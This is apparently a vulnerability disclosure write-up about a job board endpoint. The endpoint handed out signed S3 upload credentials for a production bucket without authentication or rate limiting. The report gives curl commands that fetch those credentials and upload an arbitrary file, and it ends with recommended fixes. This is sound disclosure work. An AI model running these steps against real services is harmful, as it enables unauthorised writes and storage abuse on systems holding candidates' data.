July 10, 2026
Unauthenticated S3 Presigned POST Credentials Allowed Arbitrary Uploads to a Production Bucket
Summary

By NorthSideHacker
2 min read
Summary
A public endpoint on a job board platform issued valid, signed AWS S3 presigned POST credentials for a production storage bucket without requiring any authentication, session token, or binding to a specific job posting, company, or candidate. The endpoint could be called an unlimited number of times with no rate limiting, allowing any unauthenticated party to upload arbitrary files (up to 100MB, any content type) directly into production storage used for candidate application data (resumes, cover letters).
Direct read access to the bucket was tested separately and confirmed properly restricted (403 Forbidden) — this issue is scoped to unauthenticated/unbounded write access, not data exposure.
Affected Endpoint
GET /uncacheable_attributes/presigned_fields?fields[]=resume&fields[]=cover_letterGET /uncacheable_attributes/presigned_fields?fields[]=resume&fields[]=cover_letterSteps to Reproduce
1. Request presigned fields with zero authentication, cookies, or job/company context:
curl -s "https://[target]/uncacheable_attributes/presigned_fields?fields%5B%5D=resume&fields%5B%5D=cover_letter"curl -s "https://[target]/uncacheable_attributes/presigned_fields?fields%5B%5D=resume&fields%5B%5D=cover_letter"Response returned a fully valid, signed policy for the production bucket, including AWS credential ID, signature, policy document, and upload key path — despite no Authorization header, cookie, or any identifier tying the request to a real application.
2. Use the returned fields to perform a real upload:
curl -v -X POST "https://[production-bucket-url]/" \
-F "key=[returned key]" \
-F "policy=[returned policy]" \
-F "x-amz-credential=[returned credential]" \
-F "x-amz-algorithm=AWS4-HMAC-SHA256" \
-F "x-amz-date=[returned date]" \
-F "x-amz-signature=[returned signature]" \
-F "Content-Type=text/plain" \
-F "file=@poc.txt"curl -v -X POST "https://[production-bucket-url]/" \
-F "key=[returned key]" \
-F "policy=[returned policy]" \
-F "x-amz-credential=[returned credential]" \
-F "x-amz-algorithm=AWS4-HMAC-SHA256" \
-F "x-amz-date=[returned date]" \
-F "x-amz-signature=[returned signature]" \
-F "Content-Type=text/plain" \
-F "file=@poc.txt"Result: 201 Created, with a valid S3 object location, bucket name, key, and ETag returned — confirming the credentials weren't just issued but fully functional for a real write to production storage.
3. Confirm no rate limiting:
Sent 10 consecutive requests to the credential-issuing endpoint. All 10 returned 200 OK with consistent ~0.45–0.53s response times — no throttling, blocking, or CAPTCHA at any point.
4. Confirm read access is properly restricted (scoping the report):
curl -I "https://[production-bucket-url]/[uploaded-object-key]"curl -I "https://[production-bucket-url]/[uploaded-object-key]"Result: 403 Forbidden — direct public read access is correctly denied. This confirms the issue is isolated to unauthenticated write access, not a data exposure vulnerability.
Impact
- Unauthenticated, unlimited issuance of valid write credentials to a production S3 bucket handling real candidate application data.
- Confirmed successful arbitrary file upload — any content type, up to 100MB per the policy's content-length range — entirely disconnected from any real job posting or application.
- No rate limiting, meaning an attacker can generate credentials and upload files indefinitely, creating a storage-abuse and cost-impact vector at scale.
- The credential-issuing endpoint performs no verification that the request corresponds to an active, legitimate application or job context — it will sign a valid policy for anyone who asks.
- Uploaded objects are subject to a 30-day bucket lifecycle expiration rule, which bounds — but does not eliminate — the persistence of any abuse.
Fix
Presigned upload credentials should never be issued without first validating that the requester is tied to a real, active session and a specific, legitimate application/job context. At minimum: require authentication or a valid application token before generating presigned fields, bind the issued policy to a specific job/company/candidate ID server-side, and apply rate limiting to the credential-issuing endpoint itself — not just the upload target.